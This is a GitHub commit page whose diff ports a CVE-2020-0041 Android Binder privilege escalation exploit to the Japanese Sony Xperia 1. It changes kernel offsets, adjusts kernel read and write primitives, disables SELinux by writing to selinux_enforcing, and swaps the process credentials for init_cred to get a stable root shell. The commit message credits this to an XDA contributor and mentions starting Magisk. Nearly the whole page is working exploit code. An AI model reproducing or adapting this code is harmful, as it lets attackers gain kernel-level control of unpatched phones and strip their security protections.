Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
initial support for JP xperia 1 from bb-qq
cherry picked from bb-qq's patch against the original CVE-2020-0041 exploit source code, patch copied here for reference using LG G8/V50 as a base provides stability fixes implemented there, i.e. if used only the patch bellow, xperia 1 rebooted very quickly after getting a temp root shell similarly as LG V50 did, most likely due to crash of init process because of selinux security problem, while having LG G8/V50 fixes, we can get stable root shell with possibility to start even magisk from temp root including working su permission asking notifications from apps thanks to @bb-qq at xda for his independent work implementing initial xperia 1 support including testing with his JP model --- a/lpe/src/exploit.c +++ b/lpe/src/exploit.c @@ -26,18 +26,18 @@ #define KERNEL_MAGIC (unsigned long)0x644d5241 -#define SELINUX_ENFORCING_OFFSET 0x2ba4000 -#define MEMSTART_ADDR_OFFSET 0x20d1090 -#define SYSCTL_TABLE_ROOT_OFFSET 0x29da3f8 -#define PROC_DOUINTVEC_OFFSET 0x196775c -#define INIT_TASK_OFFSET 0x29a1e80L -#define INIT_CRED_OFFSET 0x29b00a0 -#define OFFSET_PIPE_FOP 0x1f2f650 - -#define TASKS_OFFSET 0x570 -#define PID_OFFSET 0x670 -#define MM_OFFSET 0x5c0 -#define REAL_CRED_OFFSET 0x838 +#define SELINUX_ENFORCING_OFFSET 0x28F3000 +#define MEMSTART_ADDR_OFFSET 0x1A50E08 +#define SYSCTL_TABLE_ROOT_OFFSET 0x21DD380 +#define PROC_DOULONGVEC_OFFSET 0x3EF20 +#define INIT_TASK_OFFSET 0x219C680 +#define INIT_CRED_OFFSET 0x21AD808 +#define OFFSET_PIPE_FOP 0x13A12D0 + +#define TASKS_OFFSET 0x568 +#define PID_OFFSET 0x668 +#define MM_OFFSET 0x5b8 +#define REAL_CRED_OFFSET 0x810 char pathname[64]; @@ -472,27 +472,13 @@ void write64(uint64_t addr, uint64_t value) { printf("[!] Failed to open. Errno: %d\n", errno); } - sprintf(buf, "%u %u\n", (uint32_t)value, (uint32_t)(value >> 32)); + sprintf(buf, "%lu\n", value); int ret = write(fd, buf, strlen(buf)); if (ret < 0) printf("[!] Failed to write, errno: %d\n", errno); close(fd); } -/* - * 32-bit kernel write primitive using fake proc sysctl entry. - */ -void write32(uint64_t addr, uint32_t value) { - *(uint64_t *)(ctl_table_uaddr + 8) = addr; // data == what to read/write - *(uint32_t *)(ctl_table_uaddr + 16) = 4; - - char buf[100]; - int fd = open(pathname, O_WRONLY); - sprintf(buf, "%u\n", value); - write(fd, buf, strlen(buf)); - close(fd); -} - /* * Find task given its PID, starting at task start. */ @@ -586,10 +572,6 @@ int main() goto out; } - /* Step 3: Disable selinux by writing NULL to selinux_enforcing */ - struct exp_node *write8_selinux = node_new("write8_selinux"); - node_write_null(write8_selinux, kernel_base + SELINUX_ENFORCING_OFFSET); - /* * Step 4: Setup a fake sysctl node in our own userland page. We will start * by locating the kernel address of this page by parsing our own pgd. @@ -611,7 +593,7 @@ int main() memstart_addr = read64(kernel_base + MEMSTART_ADDR_OFFSET); printf("[+] memstart_addr: 0x%lx\n", memstart_addr); uint64_t mm = read64(current + MM_OFFSET); - uint64_t pgd = read64(mm + 0x40); + uint64_t pgd = read64(mm + 0x48); uint64_t entry = read64(pgd); uint64_t next_tbl = phys_to_virt(((entry & 0xffffffffffff)>>12)<< 12); @@ -677,12 +659,12 @@ int main() *(uint64_t *)(tbl_header_uaddr + 0x48) = 0; // inodes.first /* Now setup ctl_table */ - uint64_t proc_douintvec = kernel_base + PROC_DOUINTVEC_OFFSET; + uint64_t proc_doulongvec = kernel_base + PROC_DOULONGVEC_OFFSET; *(uint64_t *)(ctl_table_uaddr) = procname_kaddr; // procname *(uint64_t *)(ctl_table_uaddr + 8) = kernel_base; // data == what to read/write *(uint32_t *)(ctl_table_uaddr + 16) = 0x8; - *(uint64_t *)(ctl_table_uaddr + 0x20) = proc_douintvec; // proc_handler *(uint32_t *)(ctl_table_uaddr + 20) = 0666; // mode = rw-rw-rw- + *(uint64_t *)(ctl_table_uaddr + 32) = proc_doulongvec; // proc_handler /* * Compute and write the node name. We use a random name starting with aaa @@ -715,8 +697,31 @@ int main() printf("[+] Injected sysctl node!\n"); sleep(1); + /* Step 3: Disable selinux by writing NULL to selinux_enforcing */ + struct exp_node *write8_selinux = node_new("write8_selinux"); + node_write_null(write8_selinux, kernel_base + SELINUX_ENFORCING_OFFSET); + log_info("[+] selinux_enforcing after write NULL: %c\n", read_selinux_enforcing()); + /* Set refcount to 0x100 and set our own credentials to init's */ + +#if 0 + vleft = table->maxlen / sizeof(*i); + + /* + * Arrays are not supported, keep this simple. *Do not* add + * support for them. + */ + if (vleft != 1) { + *lenp = 0; + return -EINVAL; + } + + // write32 does not work anymore. write32(init_cred, 0x100); +#else + uint32_t val = read32(init_cred + 4); + write64(init_cred, (uint64_t)(val) << 32 | 0x100); +#endif write64(current + REAL_CRED_OFFSET, init_cred); write64(current + REAL_CRED_OFFSET + 8, init_cred); @@ -742,7 +747,7 @@ int main() printf("[!] Couldn't find task for pid %d\n", nodes[j]->tid); continue; } - uint64_t kstack = read64(task + 0x28); + uint64_t kstack = read64(task + 0x58); for (int i = 0; i < 0x4000; i += 8) { if (read64(kstack + i) == nodes[j]->kaddr) { diff --git a/lpe/src/log.c b/lpe/src/log.c index 8a12c20..213ca84 100644 --- a/lpe/src/log.c +++ b/lpe/src/log.c @@ -10,7 +10,7 @@ ssize_t log_info(const char *format, ...) uint8_t buf[0x1000]; memset(buf, 0, 0x1000); va_start(args, format); - len = vsnprintf(buf, INT_MAX, format, args); + len = vsnprintf(buf, sizeof(buf), format, args); va_end(args); if (len > 0) @@ -25,7 +25,7 @@ ssize_t log_err(const char *format, ...) uint8_t buf[0x1000]; memset(buf, 0, 0x1000); va_start(args, format); - len = vsnprintf(buf, INT_MAX, format, args); + len = vsnprintf(buf, sizeof(buf), format, args); va_end(args); if (len > 0) diff --git a/lpe/src/node.c b/lpe/src/node.c index f74695b..622e999 100644 --- a/lpe/src/node.c +++ b/lpe/src/node.c @@ -238,7 +238,7 @@ static bool _disclose_file_addr(struct exp_node *node, int *ep_arr, int n) /* Leak our values, we should have something interesting. */ node_leak(node, &A, &B); - node->file_addr = A - 0xd8; + node->file_addr = A - 0xd0; node->ep_fd = ep_arr[idx]; return true; --
- Loading branch information